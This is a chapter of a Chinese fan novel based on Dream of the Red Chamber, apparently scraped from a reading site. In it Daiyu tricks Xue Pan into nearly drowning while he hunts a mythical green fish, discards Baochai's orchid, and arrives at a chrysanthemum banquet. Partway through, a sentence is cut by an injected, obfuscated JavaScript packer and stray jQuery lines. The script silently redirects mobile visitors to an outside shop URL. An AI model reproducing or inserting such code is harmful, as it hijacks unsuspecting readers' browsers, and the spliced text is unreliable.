文趣网 > 其他小说 > 红楼之绛珠归处(青华梦) > 30. 设绊子
    那说话漏风门牙缺了半截的人,不消说,正是薛家大公子薛蟠。

    薛蟠一双眼睛直勾勾钉在黛玉身上,魂儿都险些飘出窍。

    他活了近二十年,阅过无数脂粉,竟从未见过这般绝色佳人,竟比自家妹妹薛宝钗还要清丽出尘百倍。

    黛玉瞧着他张着嘴漏风失神的惫懒蠢相,心底暗自一声冷嗤,面上却不露分毫,轻轻幽幽叹了口气。

    “听闻鸡鸣寺外潮河之中,生有一种通体碧绿的怪鱼,肉质鲜醇无比。心诚之人纵身入水亲手捕捞,便能得偿所愿,往后一生鸿运当头万事顺遂。”

    她说罢缓缓转身,将案上签筒归置妥当,尾音轻飘飘漫开,带着几分似有若无的怅惘:“只是不知何人有这般福气,能捞到那条绿鱼。”

    薛蟠猛然从痴怔里回过神,黛玉一声轻叹勾得他骨头发酥,哪里还辨得出真假,随手将竹签一抛,拍着胸脯高声应道:“绿鱼是罢?姑娘若是喜欢,我这就去为你捞来!”

    话音未落,他全然顾不得多问半句,一把撩起华贵锦袍下摆,抬脚便朝外狂奔。脚步太急,重重磕在山门木门槛上,身子往前一扑,险些再摔一个狗啃泥,他手忙脚乱撑着地爬起来,回头远远扬声大喊:“姑娘务必在此等我!”

    黛玉望着他仓皇奔逃的背影,低声啐了一口:“一身浑绿,自己留着受用便是。”

    黛玉独自离去,青华与明玉发现见黛玉,放心不下,折返回来寻人,远远便望见一道野马似的身影,疯一般朝寺外河边冲去。

    明玉眯着眼辨认片刻,惊道:“那身影瞧着像是薛霸王薛蟠?”

    黛玉唇角漾开浅浅戏谑笑意:“再过片刻,便该叫他薛泥团子了。”

    明玉眼中瞬间亮起来,满心好奇追问:“妹妹方才同他说了什么,竟能把他哄成这般模样?”

    “我只同他讲,潮河内有罕见绿鱼,诚心下水方能求得好运,想来此刻他已然跳河寻鱼去了。”

    青华在一旁轻轻摇头,无奈轻叹。

    黛玉斜睨他一眼,带着几分娇嗔诘问:“大师摇头是何用意,难不成你也想去下河捞那绿鱼?”

    青华弯腰拾起地上散落的红签,指尖随意一拢,尽数丢回签筒,只淡淡吐出二字:“走吧!”

    明玉心里痒得厉害,一心想看薛蟠落水出丑的热闹,哪里还有心思礼佛逛殿,一把拽住黛玉的衣袖,径直往山门走去。

    潮河畔,薛蟠满脑子只剩通体碧绿的鲜鱼,全然忘了自己半点水性不通。

    望着泛黄翻涌的河水,他想也不想纵身一跃,扑通一声扎入河中,口中还疯疯癫癫叫嚷着要捉绿鱼。

    河水瞬间没过头顶,他脚下踩空直坠河底,手脚慌乱胡乱扑腾,没片刻便灌了满满一肚子浑浊污水,四肢发软,活像一头溺水肥猪,呛得奄奄一息,几番挣扎之后,只剩一缕黑发浮在水面,再也动弹不得。

    明玉拉着黛玉躲在寺门口高大银杏的浓荫之下,看得眉飞色舞,心中大快,低声连连念叨:“淹了才好,淹死这恶霸!”

    青华平静开口:“命数未尽,死不了。”

    黛玉微微感慨,眼底仍藏着几分愤懑:“祸害遗千年,哪里这般容易了结。”她心底虽盼着薛蟠受重惩,可眼角已然瞥见薛家一众仆从急匆匆寻来河边。

    随从见自家公子漂在河面,吓得魂飞魄散,两名识得水性的家丁连忙扎入水中,费尽力气将鼓胀如猪肚的薛蟠拖拽上岸。

    众人围上来哭天抢地,又是按压胸腹,又是拍打后背,折腾半晌,薛蟠猛地吐出一大滩污水,剧烈呛咳着缓过气息。

    明玉见状满脸失望,嘟囔一句:“果然命大,竟没能淹着他!”

    黛玉轻轻拉了拉她的衣袖:“别看了,我们回去。”

    笑话已然看尽,再留无益,润玉还在寺中四处找寻她们二人,耽搁久了反倒让人忧心。

    明玉一路上回想薛蟠满身泥水胀肚呛咳的狼狈模样,笑得上气不接下气,脚步都险些迈不稳,黛玉身旁也漾着温柔笑意。

    明玉对着黛玉郑重一福,心悦诚服:“从今往后我便唤妹妹师父,实在是世外高人!只寥寥一句话,便哄得薛大傻子险些丢了性命。”

    黛玉伸手指着她,佯作威慑:“再敢取笑,便把你也推下河同他作伴。”

    一旁青华始终面色平淡,一副高深莫测不动声色的模样。

    黛玉偷偷撇了他一眼,心底暗自冷哼。

    方才你那般温和细致给薛宝钗解签指点金玉良缘,如今我便捉弄她亲兄长,看你能如何处置。

    河岸上,薛蟠被家丁搀扶着勉强坐起身,恍惚间瞥见寺门处一道纤细飘逸的身影缓缓远去,他费力抬起一只手想要唤住人,喉间却涌上河水,又是一阵剧烈呛咳,眼泪与鼻涕混着污泥淌了满脸,模样狼狈不堪。

    纵使万般狼狈,心中仍记挂方才惊鸿一瞥的佳人,奈何人影渐远,再无追寻的余地。

    三人看完这场闹剧,寻到润玉,无心再游古刹,一同登轿返回林府宅院。

    归途轿内,明玉将薛蟠跳河溺水的糗事添油加醋讲给润玉听,一路满是她清脆叽叽的笑声,一桩恶少自取其辱的趣事,倒成了众人此行难得的乐事。

    回到院落,黛玉独自回房,抬眼便望见窗台并排摆放的两盆兰花,目光落在那株紫瓣兰上,淡淡吩咐一旁侍立的雪雁:“把这盆紫兰搬出去扔掉。”

    雪雁满心不解,低头望着开得繁茂娇艳的紫兰,迟疑劝道:“姑娘,这紫兰本就难得,眼下开得正好,何苦丢掉?”

    紫鸢听见对话,上前轻轻点了下雪雁的额头,低声训道:“多嘴的小丫头,姑娘吩咐什么照做便是,速速搬去丢掉。”

    雪雁不敢再多言,只得抱起花盆往院中走,准备寻处丢弃。

    青华恰好缓步穿过庭院走来,光洁的脑门被正午烈日照得莹白透亮,竟比日光还要晃眼。

    见雪雁怀中捧着那盆品相绝佳的紫兰,他连忙上前拦阻。

    “这般好花,切莫丢弃,交予我照料便是。”

    青华素来爱惜草木花株,但凡绿植都万般珍重,更何况这一株难得的紫瓣名兰。

    雪雁侧身躲开他的手,睁圆一双清亮眸子,脆声回话:“不过一盆兰花,我们府中什么珍奇花草没有?姑娘往日弄坏再多名贵花木也从不在意。大师莫要阻拦,若是耽搁惹姑娘动怒,我可担待不起。”

    青华轻轻一声长叹,满心无奈:“她何苦与一盆花草置气。”

    院中角落,青九正趴在池边盯着池中游动的金鱼,眼巴巴盼着鱼儿自己跃上岸来供他解馋,守了大半日一无所获,正觉无趣。

    听见青华与雪雁的争执,立刻摇着毛茸茸的身子撒欢奔来,一眼望见怀中盛放的紫兰,猛地纵身跃起,肥厚爪子狠狠一薅。

    只听细微脆响,两株开得正盛的花茎齐齐从中折断。

    青九扬着脑袋,冲青华汪汪两声,神气十足,似在示意:【大和尚要懂断舍离,我替你了结这麻烦!】

    青华望着满地零落花瓣,一时无言,只得对着雪雁摆了摆手:“罢了,你拿去扔了吧!”

    纵是执掌幽冥万人敬畏的十殿阎王,遇上这般心细善妒又执拗的小姑娘,也只能步步退让,半点法子都无。

    不过是薛宝钗相送的一盆花而已,看花本是观草木清雅,与人毫无干系。

    他心中暗自苦笑,自己素来对刑狱公事杀伐果决,唯独对世间花草生灵极易心软,若是花木草神仙之流犯了过错,他向来从轻发落,这桩软肋三界皆知。

    他整理心绪,缓步走入黛玉卧房,面上带着几分讪讪。

    黛玉闭目倚坐,指尖反复摩挲腕间鹡鸰墨竹香珠,全然不肯抬眼瞧他。

    青华寻话搭腔,轻声开口:“这串珠子你日日把玩,珠身墨色愈发温润厚重,倒是愈发衬你了。”

    黛玉依旧不语。

    青华索性在她对面席地盘腿坐下,低声坦白:“那盆紫兰已然扔去河底喂鱼,你莫要再气恼。”

    黛玉缓缓开口,语调清淡无波:“大师若是心中舍不得,等我们回扬州,我赔你十盆同等品相的紫兰便是。”

    “并非舍不得,扔了反倒清净。”青华连忙摆手安抚,“屋内已有白兰相伴,再加紫兰,两香混杂冲撞,反倒失了兰花清雅气韵,留着确实无趣。”

    黛玉缓缓睁开双眼,眼尾微微泛红,认真望向他,一字一句发问:“大师,我问你一句心里话。往后我若是同薛宝钗生出矛盾争执,你会偏袒哪一方?”

    “自然是你!”青华脱口而出,半点迟疑无有,恨不得立下重誓,“她与我不过萍水相逢,不过顺路几句点化提点,泛泛之交罢了。唯独你,才是我拼尽一切也要护周全之人。”

    “如此便好。”

    黛玉唇角缓缓绽开一抹浅笑,绝色容颜似寒雪映珠玉,清艳逼人,令人不敢长久直视。

    青华连忙移开视线,心底暗自默念色即是空空即是色。

    这姑娘幼时便像一株勾人神魂的绛珠仙草,自带浑然天成的柔媚;如今长成亭亭少女,身姿纤柔婀娜,风华更胜他三界所见一众仙子。

    美尚在其次,那不经意流露的绝尘风流,足以让修行万年的仙神乱了道心。

    说到底,他这阎王不过是执掌轮回的差事,纵然常年勤勉公务,也并非斩断七情六欲的无情泥塑,难免心动。

    罪过罪过。

    黛玉浑然不知,自己不过淡淡一笑,便搅乱了这位十殿阎王的心绪,将他万年冷硬的凡心外层,撞得片片碎裂。

    黛玉心中安定下来,青华向来言出必行,既然许诺只会护她不会偏袒薛宝钗,她便放下心结。

    她暗自祈愿,往后不必踏入贾府不必同薛宝钗一众相见。

    可世事难料,倘若他日终究碰面,对方若是步步相逼待人刻薄,她也绝不会如原著中那般孤苦软弱一味忍让,任人随意欺凌。

    金陵旅居的日子清闲自在,黛玉日日与明玉和姣云一众姐妹相伴游玩,日日笑语满堂,过得十分舒心。

    另一边,润玉随同凌云和明玉前往三江书院,与当地学子切磋诗文,或谈经论道。

    薛蟠当街行凶伤人一案,也经柴大人审理完毕,判薛蟠责打五十大板,赔付冯家巨额抚恤银两。

    可衙役奉命前往薛家拿人,薛家竟随意推出一名普通家仆顶罪,谎称便是薛蟠本人。

    柴大人明知是薛家搪塞欺官,奈何薛家势大根基深,不便硬闯侯府拿人,只得派衙役日夜守在薛府门外,伺机捉拿外出的薛蟠。

    一连蹲守数日,衙役才打探得知,薛蟠早在案发几日前,便带着母亲和妹妹薛宝钗动身北上京城,预备送妹妹入宫待选。

    柴大人无可奈何,只能将此案归入悬案卷宗,搁置待查。

    没过多久,朝廷调任文书下达,柴大人收拾官印行囊,奉旨赴京高升顺天府尹,凌云和姣云兄妹便随同父亲举家北上,凌云正好赶赴京城,参加来年春日会试。

    几日后,黛玉收到手帕知己梁韵的书信,信中言道自家举家迁至金陵,听闻黛玉在此旅居,特意邀约相见;又提及新任金陵知府康大人之女康雨姝,将要举办秋日菊花宴,问黛玉是否愿意同往赴宴。

    案头恰好摆着康府管家娘子送来的烫金花笺,专程邀请林家闺秀赴菊花宴。

    黛玉本无心前往这类权贵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835990|211421||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    小姐的宴饮,本质都是各家暗中相看适龄子弟品评闺阁女子的场合,人人打量攀比,她素来不喜这般被人品头论足的拘束场面。

    明玉听闻菊花宴一事,反倒兴致高涨,吵着要去康府开开眼界,看一看新任知府家中气派光景。

    黛玉转念想起梁韵,梁家只是寻常商贾人家,能收到知府府邸的宴请实属难得,梁韵性子柔弱腼腆,赴宴时若无相熟之人相伴,难免局促受欺,她理应前去为友人撑腰。

    于是黛玉命管家备好一份雅致贺礼,交由康府来人带回,应下赴宴之约。

    她又将自己珍藏的名贵菊种“西湖柳月”备好赠予梁韵。

    赴宴时各家小姐都会携自家名菊赴会,梁韵家世普通,若无珍品极易被旁人轻视取笑;黛玉自身从不靠奇珍花草博取旁人艳羡,自然毫不在意这些虚浮攀比。

    谁知到了菊花宴当日,原本满心期待的明玉忽然身子不适,裹着被褥抱着暖炉卧在床上,浑身慵懒乏力,半点出门的心思都无,只能黛玉独自赴宴。

    明玉依旧放心不下,翻箱倒柜为她备齐随身物件,絮絮叨叨同她细数金陵各家闺秀性情家世。

    黛玉安抚她躺下静养,转头吩咐扬州随行管家,安排车马随行伺候。

    金秋时节,金菊盛放,桂香满城,蟹黄肥美,金陵城中王公仕宦纷纷备齐车马赶往康府。

    长街之上各式华美油车络绎不绝,一家比一家排场奢华,珠光宝气,惹人侧目。

    唯有林家驶出的车架格外朴素低调,只是一架寻常黑木油车,车檐悬着一盏素面林府灯笼,随行不过几名粗壮家仆,另有两车伺候的婆子丫鬟,毫无张扬贵气。

    康雨姝早已在二门等候,听丫鬟回禀林家车架简陋,眼底不自觉浮起几分轻视笑意。

    人人都说巡盐御史林海家财丰厚富甲两淮,如今看来不过虚名,连出行车马都这般寒酸;纵使林黛玉艳冠扬州,又能如何,说到底不过一介穷酸官家小姐。

    她正暗自腹诽,抬眼望见廊下赏菊的少女,连忙换上和善笑容迎上前:“史大姑娘,日头毒辣,莫要久站看花,快到廊下阴凉处歇息。”

    那少女闻声回头,生得一张粉润如花的明艳面庞,唇瓣鲜亮,一笑便弯起一双大眼睛,神采灿烂爽朗。

    她说话语速飞快,略带几分口齿轻饶,声线清脆似珠玉落盘。

    “我独独偏爱这盆绿牡丹!日光之下花瓣绿中泛金,光彩夺目,实在难得,不知康姐姐从何处寻来这般佳品?”

    康雨姝伸手牵住她,笑道:“看你一头薄汗,你若是喜欢,散宴之后我便送与你,也算你回江南一趟,你我相交一场的心意。”

    史湘云拍手欢喜:“多谢康姐姐!我好不容易求得叔父准许,回江南安葬父母灵柩,本被催促速速回京,恰逢姐姐设宴相邀,总算能多留几日散心,真是痛快!”

    此女便是保龄侯史鼐的侄女史湘云,四大家族史家后人,亦是京城荣国府史老太君的侄孙女。

    父母早早离世,她自幼寄养在二叔父侯府,性情娇憨坦荡,爽朗有英气,早前在京城便与康雨姝相识,二人引为手帕之交。

    康雨姝挽着湘云,轻声说道:“随我一同前去迎接扬州大名鼎鼎的才女林黛玉,你姑祖母与她家本有姻亲。人人传她容貌风流,家世豪奢,我们正好瞧瞧真人。”

    她压低声音,藏着几分戏谑:“方才下人回报,她出门车架十分寒酸,我倒好奇,这般简陋排场,‘富贵风流’的名头究竟从何而来。”

    史湘云本就爱看热闹,捂嘴低笑:“原是她!往日在荣国府,老太太日日夸赞这位外孙女,夸得宛若天仙,我心底一直不信,世间怎会有这般绝色人物?”

    康雨姝点头附和:“我听闻她暂住金陵叔父家中,一到任便第一时间递帖子相邀,今日总算能一睹真容。单看车架气派,竟连寻常商户之女都比不上。”说着抬手指了不远处,正与一众闺秀围赏菊花的梁韵,朝湘云挤了挤眼。

    史湘云心领神会,暗暗打定主意,待会儿定要刻意试探一番,若是黛玉名不副实,正好打趣一番,回京也好讲给宝玉听,省得他日日心心念念挂记这位虚名在外的林妹妹。

    黛玉尚未踏入二门,便不知早已被二人私下议论揣测。

    林家世代书香,行事素来低调收敛,从不铺张招摇,唯恐给林海官场招来非议,故而出行车架向来朴素。

    世人只看得见外在车马,却不知内里另有乾坤。

    车架外表木料普通,内饰却是极尽精致舒适:脚下铺着异域波斯绒毯,四壁衬着柔软蜀锦,内设檀木小几,摆放汝窑茶具与金丝玛瑙成套杯盏,鹅绒填充的软垫靠枕柔软温暖。

    拉车的马匹更是西域进贡的乌孙良驹,通体乌黑,额间一点雪白,身姿矫健神骏。

    江南文人多偏爱风雅,不通军马良马,故而路人只凭简陋车身,便判定林家清贫。

    康雨姝走到二门阶下等候,待到黛玉缓步下轿,只觉眼前骤然一亮,恍若仙子踏光而来。

    少女周身清尘不染,一举一动自骨子里透出婉转风流,身姿婀娜纤柔,一双含情目水光潋滟,顾盼时如幽深寒潭,静谧动人,让人连呼吸都不敢加重,生怕惊扰了这谪落凡尘的绝色。

    康雨姝脸上敷衍的笑容瞬间僵住,连待客问候的声线都低了几分,满心轻视尽数消散,只剩不敢惊扰的怔忡。

    站在她身后的史湘云亦是看得失神,樱唇微张久久合不拢,心底莫名翻涌阵阵酸涩醋意,手指死死攥紧丝绢,指尖掐入掌心,刺痛才勉强回过神。

    难怪宝玉日日挂怀惦念,这般容貌风骨,本就该是九天仙子,不该流落凡尘俗世之间。